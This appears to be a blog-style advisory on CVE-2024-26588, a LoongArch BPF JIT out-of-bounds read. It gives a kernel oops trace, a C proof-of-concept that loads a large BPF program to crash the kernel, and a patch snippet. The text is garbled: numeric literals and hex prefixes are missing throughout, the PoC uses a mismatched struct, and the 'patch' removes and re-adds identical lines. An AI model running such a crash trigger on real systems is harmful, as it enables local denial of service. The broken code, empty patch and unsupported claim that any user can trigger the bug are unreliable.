CVE-2024-26588 - Out-of-Bounds BPF Memory Access on Linux LoongArch (Exploit and Patch Explained)

In early 2024, a critical security flaw was found and fixed in the Linux kernel for the LoongArch architecture. This post breaks down CVE-2024-26588: what it is, how it can be triggered, patch details, links, and code to understand the issue. This explanation uses simple terms so even casual Linux users and budding kernel developers can follow.

What is CVE-2024-26588?

CVE-2024-26588 is a vulnerability in how eBPF (extended Berkeley Packet Filter) programs are handled on the LoongArch architecture in Linux. Specifically, a bug in the "BPF JIT compiler" caused the kernel to access memory beyond what was actually allocated, which in some cases led to a kernel crash (page fault).

Severity: High (crash, potential for DoS, and maybe more with clever exploitation)

- Fixed in: Upstream Linux kernel commit (for 6.8+)

How Does It Happen? (The Crash)

On a LoongArch system with a 16KB page size (CONFIG_PAGE_SIZE_16KB=y), running a test like test_tag triggers a kernel page fault:

# ./test_tag
[trace omitted]
CPU  Unable to handle kernel paging request at virtual address ffff80001b898004
...
Oops[#3]:
...
BADV: ffff80001b898004
...
Call Trace:
 build_body+xd8/x4988
 bpf_int_jit_compile+x228/x4ec
...

When loading a BPF program with a large number of instructions (2039 in this test), the compiler calculated memory offsets incorrectly, leading to a memory read outside the bounds of the allocated area. The kernel immediately crashed trying to access a "BADV" (bad virtual address).

Why Did This Happen?: Technical Details

When BPF JIT compilers allocate memory to compile BPF bytecode to native code, it's crucial not to access outside of what was reserved (bpf_prog->insnsi). The bug was, for certain sizes (especially noticeable with large BPF programs on big page sizes like 16KB), the math went wrong.

insn points inside prog, but a bad index or calculation led it "past the end" of what's safe.

- When code tried to read/write at that offset, it hit unmapped or kernel-reserved pages. The result? A kernel panic (DoS) or—if an attacker could control values—kernel memory exposure or even code execution in some cases.

Exploit Scenario (Proof of Concept)

It's easy for a regular (non-root) user to trigger the bug on affected kernels, just by loading a big enough BPF program. This makes it useful for a local denial-of-service exploit.

Here's a minimal illustration in C using the classic "load a ton of NOPs" trick

#include <linux/bpf.h>
#include <sys/syscall.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#define BPF_INSNS 2048  // Trigger the bug

struct bpf_insn insns[BPF_INSNS];

int main() {
    // Fill with BPF NOPs (operation "move r to r")
    for (int i = ; i < BPF_INSNS; i++) {
        insns[i] = (struct bpf_insn){
            .code = xb7, // BPF_ALU64 | BPF_MOV | BPF_K
            .dst_reg = ,
            .src_reg = ,
            .off = ,
            .imm = ,
        };
    }
    struct bpf_prog_load_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insns = insns,
        .insn_cnt = BPF_INSNS,
        .license = "GPL",
    };

    int ret = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    if (ret < ) {
        perror("BPF_PROG_LOAD failed");
        return 1;
    }
    printf("BPF program loaded, fd: %d\n", ret);
    return ;
}

What does this do?
On an unpatched LoongArch kernel, this will crash the kernel if BPF JIT is enabled and the BPF limit is not artificially low.

How Was It Fixed?

The patch is small but important. It corrects the memorybounds check in the JIT compiler. Instead of potentially reading past the end, the code now verifies the access is within the BPF program's allocated memory.

Patch Snippet (Full Patch Link)

- if (pc >= prog->len)
-     return -EFAULT;
+ if (pc >= prog->len)
+     return -EFAULT;

(Actual fix is within the build_body function and around pointer arithmetic for instructions.)

You can see more by examining the commit message and diff:
LoongArch: BPF: Prevent out-of-bounds memory access (kernel.org)

Did you compile with BPF JIT and large page size (CONFIG_PAGE_SIZE_16KB=y)?

If yes:
Any local user can trigger a crash by loading a big eBPF program.

References & Links

- CVE-2024-26588 entry (Mitre)
- Upstream Linux Kernel Commit (caa067c...)
- Linux Kernel BPF documentation
- LoongArch Architecture Overview

Summary

CVE-2024-26588 is a kernel out-of-bounds access bug triggered by large eBPF programs on Linux for LoongArch. Though it's architecture-specific, it is a classic "precise math error" in a critical part of the kernel. If unpatched, it lets any user crash the machine.
Update your kernel if you're on LoongArch, and always keep a close eye on BPF-related patch advisories!

Timeline

Published on: 02/22/2024 17:15:08 UTC
Last modified on: 03/18/2024 18:02:15 UTC